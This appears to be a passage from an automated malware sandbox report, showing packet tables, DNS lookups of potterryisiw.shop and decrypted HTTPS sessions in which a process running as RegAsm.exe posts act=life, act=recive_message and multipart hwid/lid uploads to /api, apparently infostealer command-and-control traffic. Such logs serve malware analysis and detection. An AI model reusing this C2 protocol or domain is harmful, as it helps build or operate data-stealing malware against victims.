Jul 1, 2024 09:23:57.689768076 CEST	443	49716	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:58.337007046 CEST	443	49716	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:58.337086916 CEST	443	49716	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:58.337819099 CEST	49716	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:23:58.337960958 CEST	49716	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:23:58.337971926 CEST	443	49716	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:58.772373915 CEST	49719	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:23:58.772414923 CEST	443	49719	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:58.772597075 CEST	49719	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:23:58.772937059 CEST	49719	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:23:58.772947073 CEST	443	49719	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:59.258069038 CEST	443	49719	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:59.258153915 CEST	49719	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:23:59.262991905 CEST	49719	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:23:59.263009071 CEST	443	49719	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:59.263340950 CEST	443	49719	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:59.264847040 CEST	49719	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:23:59.265666962 CEST	49719	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:23:59.265705109 CEST	443	49719	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:59.265826941 CEST	49719	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:23:59.265856028 CEST	443	49719	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:59.266005993 CEST	49719	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:23:59.266041040 CEST	443	49719	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:59.266158104 CEST	49719	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:23:59.266191959 CEST	443	49719	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:59.266531944 CEST	49719	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:23:59.266586065 CEST	443	49719	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:59.266753912 CEST	49719	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:23:59.266786098 CEST	443	49719	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:59.266802073 CEST	49719	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:23:59.266835928 CEST	443	49719	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:59.266881943 CEST	49719	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:23:59.266902924 CEST	443	49719	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:59.266923904 CEST	49719	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:23:59.267030954 CEST	49719	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:23:59.267061949 CEST	49719	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:23:59.278678894 CEST	443	49719	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:59.278918028 CEST	49719	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:23:59.278954029 CEST	443	49719	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:59.278964043 CEST	49719	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:23:59.278991938 CEST	443	49719	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:59.279011965 CEST	49719	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:23:59.284048080 CEST	443	49719	188.114.96.3	192.168.2.5
Jul 1, 2024 09:24:00.655746937 CEST	443	49719	188.114.96.3	192.168.2.5
Jul 1, 2024 09:24:00.655853987 CEST	443	49719	188.114.96.3	192.168.2.5
Jul 1, 2024 09:24:00.656167984 CEST	49719	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:24:00.656186104 CEST	49719	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:24:00.658262014 CEST	49720	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:24:00.658288956 CEST	443	49720	188.114.96.3	192.168.2.5
Jul 1, 2024 09:24:00.658371925 CEST	49720	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:24:00.658715010 CEST	49720	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:24:00.658726931 CEST	443	49720	188.114.96.3	192.168.2.5
Jul 1, 2024 09:24:01.165406942 CEST	443	49720	188.114.96.3	192.168.2.5
Jul 1, 2024 09:24:01.165471077 CEST	49720	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:24:01.166763067 CEST	49720	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:24:01.166769981 CEST	443	49720	188.114.96.3	192.168.2.5
Jul 1, 2024 09:24:01.167005062 CEST	443	49720	188.114.96.3	192.168.2.5
Jul 1, 2024 09:24:01.171936989 CEST	49720	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:24:01.171967983 CEST	49720	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:24:01.172044992 CEST	443	49720	188.114.96.3	192.168.2.5
Jul 1, 2024 09:24:01.840889931 CEST	443	49720	188.114.96.3	192.168.2.5
Jul 1, 2024 09:24:01.840986013 CEST	443	49720	188.114.96.3	192.168.2.5
Jul 1, 2024 09:24:01.841029882 CEST	49720	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:24:01.841214895 CEST	49720	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:24:01.841214895 CEST	49720	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:24:01.841231108 CEST	443	49720	188.114.96.3	192.168.2.5
Jul 1, 2024 09:24:01.841239929 CEST	443	49720	188.114.96.3	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 1, 2024 09:23:34.103715897 CEST	53170	53	192.168.2.5	1.1.1.1
Jul 1, 2024 09:23:35.118236065 CEST	53170	53	192.168.2.5	1.1.1.1
Jul 1, 2024 09:23:35.261765003 CEST	53	53170	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 1, 2024 09:23:34.103715897 CEST	192.168.2.5	1.1.1.1	0x8881	Standard query (0)	potterryisiw.shop	A (IP address)	IN (0x0001)	false
Jul 1, 2024 09:23:35.118236065 CEST	192.168.2.5	1.1.1.1	0x8881	Standard query (0)	potterryisiw.shop	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jul 1, 2024 09:23:35.261765003 CEST	1.1.1.1	192.168.2.5	0x8881	No error (0)	potterryisiw.shop		188.114.96.3	A (IP address)	IN (0x0001)	false
Jul 1, 2024 09:23:35.261765003 CEST	1.1.1.1	192.168.2.5	0x8881	No error (0)	potterryisiw.shop		188.114.97.3	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

potterryisiw.shop

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	188.114.96.3	443	6176	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-01 07:23:51 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: potterryisiw.shop
2024-07-01 07:23:51 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-07-01 07:23:51 UTC	802	IN	HTTP/1.1 200 OK Date: Mon, 01 Jul 2024 07:23:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=tqqp9phbopb7kpehflf611j2ta; expires=Fri, 25-Oct-2024 01:10:30 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KqUFscdlFC7SXs2RwuPA9SNQNGWS1yJdeZdnWCiLRTX%2FXNSERLjK4ABwRT6%2FmQ5Yjexd8BaoAsYWl8Hv3tKb7qjUh2R69X8B19yuSLkeqeVDVpQchtrMfR22l33L5guN1qJaYQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 89c4a72cda2343a0-EWR alt-svc: h3=":443"; ma=86400
2024-07-01 07:23:51 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-07-01 07:23:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49707	188.114.96.3	443	6176	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-01 07:23:52 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: potterryisiw.shop
2024-07-01 07:23:52 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 48 38 4e 67 43 6c 2d 2d 64 65 66 61 75 6c 74 32 38 30 36 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=H8NgCl--default2806&j=
2024-07-01 07:23:52 UTC	810	IN	HTTP/1.1 200 OK Date: Mon, 01 Jul 2024 07:23:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=p4k721qt8bl70757lnb4irhnd4; expires=Fri, 25-Oct-2024 01:10:31 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=znQ%2BTPK5LxBTHKrMJemuETr6hjE1eABGelEkhgQzxC4HJR0FRP%2BSHI4eyj4Xk%2B4GJqKHkwbwesMotI4sBL1dGG59xLeioao25jCiuvWYaha%2FM2x3UnEM%2BZoI85UzXFZX%2FWVURg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 89c4a7343b994246-EWR alt-svc: h3=":443"; ma=86400
2024-07-01 07:23:52 UTC	559	IN	Data Raw: 63 65 34 0d 0a 56 74 41 44 56 2f 39 72 34 52 70 49 63 67 50 50 37 62 6b 4f 32 6d 34 75 58 4f 52 78 42 63 37 67 54 45 66 2b 73 35 76 38 4e 33 34 74 32 67 70 31 69 55 6e 62 4f 6e 78 65 43 63 62 50 79 6d 76 34 56 41 34 6f 6c 67 52 67 34 75 70 46 5a 5a 2f 58 75 63 59 58 47 44 65 38 63 44 4c 54 59 65 67 34 4c 51 6f 68 39 63 33 69 42 4e 4e 6e 56 58 7a 47 46 47 76 73 32 6d 78 6c 6d 39 6e 35 6e 56 73 63 4e 37 74 73 4a 35 4d 49 69 58 59 76 47 6d 61 73 69 64 68 69 74 77 74 4c 4f 59 55 62 61 36 65 4e 4a 43 72 63 6e 37 76 65 55 67 52 30 36 69 4e 31 73 67 36 56 65 77 55 54 63 4b 54 50 6d 58 50 32 5a 43 64 56 6e 31 45 6e 71 34 35 75 66 64 36 52 2b 70 6c 56 45 6a 43 30 61 44 2b 58 41 34 56 35 4c 42 68 7a 70 6f 76 52 5a 72 67 4b 52 7a 4f 4f 41 57 6d 6f 69 69 49 6b 6b 64 Data Ascii: ce4VtADV/9r4RpIcgPP7bkO2m4uXORxBc7gTEf+s5v8N34t2gp1iUnbOnxeCcbPymv4VA4olgRg4upFZZ/XucYXGDe8cDLTYeg4LQoh9c3iBNNnVXzGFGvs2mxlm9n5nVscN7tsJ5MIiXYvGmasidhitwtLOYUba6eNJCrcn7veUgR06iN1sg6VewUTcKTPmXP2ZCdVn1Enq45ufd6R+plVEjC0aD+XA4V5LBhzpovRZrgKRzOOAWmoiiIkkd
2024-07-01 07:23:52 UTC	1369	IN	Data Raw: 78 73 38 43 45 78 6e 41 32 43 66 43 51 65 5a 61 47 4a 31 57 47 33 43 6b 59 2b 67 52 6c 76 70 49 4d 6a 4c 70 50 52 2f 4a 4e 52 47 6a 69 7a 5a 48 58 54 53 38 4e 2f 4d 6c 41 35 37 38 2f 31 61 37 73 65 44 67 75 46 48 57 6d 72 6c 47 35 6e 67 35 2b 52 39 54 34 46 64 76 4a 6d 4f 64 31 52 77 54 67 6b 46 57 36 2f 6a 73 6c 70 74 68 35 41 4f 34 41 65 5a 4b 4b 43 4b 79 4b 52 33 2f 2b 5a 56 68 51 77 73 32 38 35 6c 77 71 48 65 32 70 65 49 2b 32 49 77 79 7a 67 54 67 77 50 68 52 64 67 76 6f 45 67 5a 64 37 4f 74 2f 59 2b 64 79 33 77 49 54 4b 52 53 64 73 36 61 68 70 6e 6f 49 62 51 61 37 41 41 58 6a 57 4a 45 47 36 72 68 43 51 6d 6c 4e 76 2f 6b 46 51 62 4d 62 56 7a 4f 35 59 45 67 48 49 73 55 43 2f 76 7a 39 78 30 2b 46 51 4f 66 71 67 51 64 72 71 77 4c 54 53 4e 6b 62 75 42 47 Data Ascii: xs8CExnA2CfCQeZaGJ1WG3CkY+gRlvpIMjLpPR/JNRGjizZHXTS8N/MlA578/1a7seDguFHWmrlG5ng5+R9T4FdvJmOd1RwTgkFW6/jslpth5AO4AeZKKCKyKR3/+ZVhQws285lwqHe2peI+2IwyzgTgwPhRdgvoEgZd7Ot/Y+dy3wITKRSds6ahpnoIbQa7AAXjWJEG6rhCQmlNv/kFQbMbVzO5YEgHIsUC/vz9x0+FQOfqgQdrqwLTSNkbuBG
2024-07-01 07:23:52 UTC	1369	IN	Data Raw: 55 4e 70 4d 48 68 47 35 71 55 6e 37 6a 35 37 41 48 6f 55 34 4d 4f 59 70 54 50 2b 37 43 49 69 79 63 32 76 4f 61 56 52 73 35 74 32 49 79 6e 67 53 45 63 69 51 58 5a 61 47 47 31 6d 71 34 43 30 67 37 6c 42 5a 75 6f 49 35 75 61 39 36 52 2f 6f 59 56 52 48 62 79 54 6a 4b 4c 43 71 78 37 4f 78 6b 68 37 35 43 56 42 4e 4e 6e 56 58 7a 47 46 47 76 73 32 6d 78 6c 6d 39 54 78 6c 56 4d 55 4e 4b 42 6b 4f 35 59 49 69 58 34 72 48 57 32 72 6a 39 70 73 76 67 42 4d 4f 59 45 42 64 61 6d 45 50 43 2f 63 6e 37 76 65 55 67 52 30 36 69 4e 31 71 78 6d 55 61 54 78 53 56 4b 36 42 31 57 75 75 54 41 34 68 79 48 73 4d 78 35 74 73 5a 5a 76 64 75 63 59 58 58 44 2b 79 62 54 4b 56 44 34 64 77 4a 52 39 6f 76 34 37 58 59 71 6f 4c 54 44 65 49 48 47 75 6c 6a 79 6b 6f 6c 39 76 30 6d 6c 49 64 64 50 Data Ascii: UNpMHhG5qUn7j57AHoU4MOYpTP+7CIiyc2vOaVRs5t2IyngSEciQXZaGG1mq4C0g7lBZuoI5ua96R/oYVRHbyTjKLCqx7Oxkh75CVBNNnVXzGFGvs2mxlm9TxlVMUNKBkO5YIiX4rHW2rj9psvgBMOYEBdamEPC/cn7veUgR06iN1qxmUaTxSVK6B1WuuTA4hyHsMx5tsZZvducYXXD+ybTKVD4dwJR9ov47XYqoLTDeIHGuljykol9v0mlIddP
2024-07-01 07:23:52 UTC	10	IN	Data Raw: 41 49 35 2b 49 68 64 76 0d 0a Data Ascii: AI5+Ihdv
2024-07-01 07:23:52 UTC	1369	IN	Data Raw: 34 33 66 63 0d 0a 6f 49 54 64 5a 37 38 4c 53 6a 4f 4f 48 6d 4b 76 67 79 6f 76 6a 74 4c 79 6c 46 67 57 64 50 77 6a 64 5a 6f 52 77 79 42 6f 55 45 61 68 70 73 74 33 71 68 6f 4d 66 4a 6c 64 44 38 66 70 4e 32 66 63 31 76 58 65 44 56 35 30 73 57 34 38 6b 67 47 4c 64 79 55 55 62 36 75 4a 31 6d 6d 33 42 6c 34 32 69 42 35 73 6f 34 6b 38 4a 5a 48 56 39 5a 70 64 46 7a 37 79 4c 33 66 64 44 70 73 34 63 6c 49 68 6d 49 4c 55 62 4c 73 61 44 48 79 5a 58 51 2f 48 36 54 64 6e 33 4e 62 31 33 67 31 65 64 4c 35 76 4e 5a 49 46 6a 33 4d 69 45 57 32 6a 69 4e 35 6c 73 41 52 65 50 34 49 62 5a 71 4b 4e 4c 79 47 5a 31 50 32 5a 55 52 6f 37 38 69 39 33 33 51 36 62 4f 48 4a 53 49 59 4b 6f 37 69 36 5a 4e 67 78 38 6d 56 30 50 78 2b 6b 33 5a 39 7a 57 39 64 34 4e 58 6e 53 2b 59 6a 6d 56 42 Data Ascii: 43fcoITdZ78LSjOOHmKvgyovjtLylFgWdPwjdZoRwyBoUEahpst3qhoMfJldD8fpN2fc1vXeDV50sW48kgGLdyUUb6uJ1mm3Bl42iB5so4k8JZHV9ZpdFz7yL3fdDps4clIhmILUbLsaDHyZXQ/H6Tdn3Nb13g1edL5vNZIFj3MiEW2jiN5lsAReP4IbZqKNLyGZ1P2ZURo78i933Q6bOHJSIYKo7i6ZNgx8mV0Px+k3Z9zW9d4NXnS+YjmVB
2024-07-01 07:23:52 UTC	1369	IN	Data Raw: 58 5a 36 75 4f 32 47 6d 37 43 55 6f 2f 68 68 39 74 71 34 6f 6b 4b 35 48 58 2f 5a 68 54 58 48 72 77 49 54 4b 46 53 64 73 36 61 69 4a 73 6f 34 62 59 61 72 55 61 5a 41 2f 47 55 58 6a 69 36 6b 56 4f 68 5a 4f 35 6d 56 6c 63 62 50 41 68 4d 5a 59 42 6a 33 30 69 46 57 43 6c 68 64 4e 6a 74 78 35 4e 4d 59 38 55 62 4b 47 4e 49 43 43 53 77 2f 36 56 58 68 51 39 76 47 64 31 30 30 76 44 66 7a 4a 51 4f 65 2f 50 37 57 2b 32 42 31 30 78 68 52 38 6e 37 70 31 67 54 66 65 36 34 4e 77 56 47 7a 6a 79 4f 58 66 64 41 34 68 38 4b 52 52 6b 6f 6f 37 61 61 71 6f 4c 52 53 79 49 48 6d 69 6b 69 69 63 6b 6d 4e 54 30 6d 46 6b 57 4e 62 56 76 4f 35 56 4a 7a 54 70 71 46 33 6e 74 31 35 6b 73 6d 52 78 58 4c 4a 41 65 52 71 47 4e 62 6d 65 44 6e 35 48 31 50 67 56 32 38 6d 59 35 33 56 48 42 4f 43 Data Ascii: XZ6uO2Gm7CUo/hh9tq4okK5HX/ZhTXHrwITKFSds6aiJso4bYarUaZA/GUXji6kVOhZO5mVlcbPAhMZYBj30iFWClhdNjtx5NMY8UbKGNICCSw/6VXhQ9vGd100vDfzJQOe/P7W+2B10xhR8n7p1gTfe64NwVGzjyOXfdA4h8KRRkoo7aaqoLRSyIHmikiickmNT0mFkWNbVvO5VJzTpqF3nt15ksmRxXLJAeRqGNbmeDn5H1PgV28mY53VHBOC
2024-07-01 07:23:52 UTC	1369	IN	Data Raw: 7a 5a 74 69 73 51 31 45 4d 49 6f 62 59 37 36 43 4a 53 79 54 30 50 61 65 56 68 30 2b 75 6e 4d 7a 6e 51 4b 4c 66 79 49 55 62 37 2b 4f 31 43 7a 32 54 67 77 35 6e 6c 4d 2f 37 73 49 66 4d 35 76 57 39 74 78 38 47 79 2b 7a 61 7a 61 57 42 63 4d 36 4e 56 34 4a 78 75 54 43 4c 76 67 4c 51 48 37 65 55 53 65 68 6a 69 4d 68 6a 74 33 35 6e 6c 77 62 50 71 42 75 4f 70 41 4b 67 33 30 34 45 58 4f 69 68 4e 35 76 76 41 4e 44 4d 6f 34 5a 4a 2b 4c 41 62 69 4b 45 6b 61 48 63 46 54 41 33 6f 32 74 33 75 68 4f 56 66 79 59 42 61 71 43 44 6d 79 36 6e 51 69 52 56 37 51 6f 6c 37 49 55 69 5a 63 53 54 75 5a 35 55 45 53 61 33 59 44 2b 58 42 49 74 33 4c 78 56 75 71 59 76 51 59 71 6f 43 51 7a 36 41 47 47 61 70 67 53 55 76 6b 74 6a 72 33 68 74 65 64 4c 56 35 64 63 56 4c 77 31 49 78 45 57 79 Data Ascii: zZtisQ1EMIobY76CJSyT0PaeVh0+unMznQKLfyIUb7+O1Cz2Tgw5nlM/7sIfM5vW9tx8Gy+zazaWBcM6NV4JxuTCLvgLQH7eUSehjiMhjt35nlwbPqBuOpAKg304EXOihN5vvANDMo4ZJ+LAbiKEkaHcFTA3o2t3uhOVfyYBaqCDmy6nQiRV7Qol7IUiZcSTuZ5UESa3YD+XBIt3LxVuqYvQYqoCQz6AGGapgSUvktjr3htedLV5dcVLw1IxEWy
2024-07-01 07:23:52 UTC	1369	IN	Data Raw: 72 4d 45 54 7a 43 4f 47 6d 65 69 67 69 38 6f 6e 4a 47 33 33 42 55 62 4c 50 49 35 64 39 30 73 6f 47 38 38 47 69 4f 4f 6d 4d 31 6d 76 77 42 61 4e 59 63 51 63 61 47 53 62 6d 65 44 6e 35 48 31 50 67 56 32 38 6d 59 35 33 56 48 42 4f 43 45 66 62 36 43 45 33 32 57 39 42 45 38 37 67 78 6c 72 6f 49 4d 6d 4c 4a 62 55 2f 4a 68 66 48 7a 71 39 59 44 6d 5a 41 49 31 78 61 6c 34 6a 37 59 6a 44 4c 4f 42 4f 44 41 69 57 46 48 2b 68 6b 6d 77 58 6e 38 44 6f 69 31 67 4d 4d 76 42 4f 4e 70 45 4b 68 6e 38 36 55 43 4f 79 77 62 4d 48 30 78 55 4f 66 6f 45 66 4a 2f 54 41 62 69 57 59 33 66 71 5a 57 78 4d 35 76 57 59 2b 6b 67 4f 4e 61 69 55 56 61 61 47 48 31 6e 36 79 42 6c 34 33 6a 78 35 70 70 4a 41 74 5a 64 4b 54 75 5a 6c 4e 58 47 7a 77 49 51 65 58 43 6f 39 75 4a 78 38 68 37 35 43 56 Data Ascii: rMETzCOGmeigi8onJG33BUbLPI5d90soG88GiOOmM1mvwBaNYcQcaGSbmeDn5H1PgV28mY53VHBOCEfb6CE32W9BE87gxlroIMmLJbU/JhfHzq9YDmZAI1xal4j7YjDLOBODAiWFH+hkmwXn8Doi1gMMvBONpEKhn86UCOywbMH0xUOfoEfJ/TAbiWY3fqZWxM5vWY+kgONaiUVaaGH1n6yBl43jx5ppJAtZdKTuZlNXGzwIQeXCo9uJx8h75CV
2024-07-01 07:23:52 UTC	1369	IN	Data Raw: 31 7a 70 78 35 73 6f 49 38 68 4c 74 79 66 6b 66 55 2b 64 33 53 30 49 57 33 66 57 63 30 51 51 58 73 4b 37 59 76 4b 4c 4f 42 4f 48 47 7a 64 52 6a 54 37 30 6e 78 4e 39 37 72 6d 30 44 31 33 58 36 73 4a 58 76 5a 69 77 32 35 71 53 43 50 2f 77 62 4d 48 30 32 63 4d 4c 4d 5a 4c 4a 65 7a 46 4c 54 65 4f 31 2f 71 49 56 6c 73 4b 6a 45 49 69 69 77 4f 59 4f 67 77 58 63 4b 53 5a 31 6e 36 47 4d 6d 49 7a 68 78 42 70 37 72 4d 34 4b 49 7a 53 2f 4a 6c 72 49 6a 71 31 64 54 4b 54 44 34 4d 34 5a 48 67 4b 78 75 53 62 59 2f 68 55 44 67 66 47 57 79 65 54 7a 45 5a 4f 39 37 71 35 68 68 56 45 64 76 4a 55 4e 70 4d 48 68 47 34 37 58 55 4b 36 6d 64 46 33 2b 69 70 4c 4c 34 38 46 61 72 37 43 59 45 33 33 75 70 4c 65 55 31 78 73 38 44 46 37 39 57 4c 6f 45 32 6f 55 63 4f 33 58 6d 54 7a 71 56 Data Ascii: 1zpx5soI8hLtyfkfU+d3S0IW3fWc0QQXsK7YvKLOBOHGzdRjT70nxN97rm0D13X6sJXvZiw25qSCP/wbMH02cMLMZLJezFLTeO1/qIVlsKjEIiiwOYOgwXcKSZ1n6GMmIzhxBp7rM4KIzS/JlrIjq1dTKTD4M4ZHgKxuSbY/hUDgfGWyeTzEZO97q5hhVEdvJUNpMHhG47XUK6mdF3+ipLL48Far7CYE33upLeU1xs8DF79WLoE2oUcO3XmTzqV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49708	188.114.96.3	443	6176	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-01 07:23:53 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12841 Host: potterryisiw.shop
2024-07-01 07:23:53 UTC	12841	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 34 37 42 41 38 37 45 37 46 45 41 34 34 30 39 44 36 34 46 46 38 38 30 36 39 44 38 38 34 39 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 64 65 66 61 75 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"C47BA87E7FEA4409D64FF88069D88493--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl--defau
2024-07-01 07:23:53 UTC	802	IN	HTTP/1.1 200 OK Date: Mon, 01 Jul 2024 07:23:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=dnm6vqpne4qs4fq6qkspn06d75; expires=Fri, 25-Oct-2024 01:10:32 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0D439jtixhrdYxGAmNeYGRnF1o6QGWlfZGLtYbN%2BAOTz1EcLvMIdI7PRc7ne8tkfe3C4MjvH9Z37ZaLVAFDQ8GfkfPXiw3FOjus1nbf%2FHAJd3doIxbdSxcmgHs1W74wiQj2hGg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 89c4a73a6a3f3300-EWR alt-svc: h3=":443"; ma=86400
2024-07-01 07:23:53 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 33 33 0d 0a Data Ascii: eok 8.46.123.33
2024-07-01 07:23:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49709	188.114.96.3	443	6176	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-01 07:23:54 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15083 Host: potterryisiw.shop
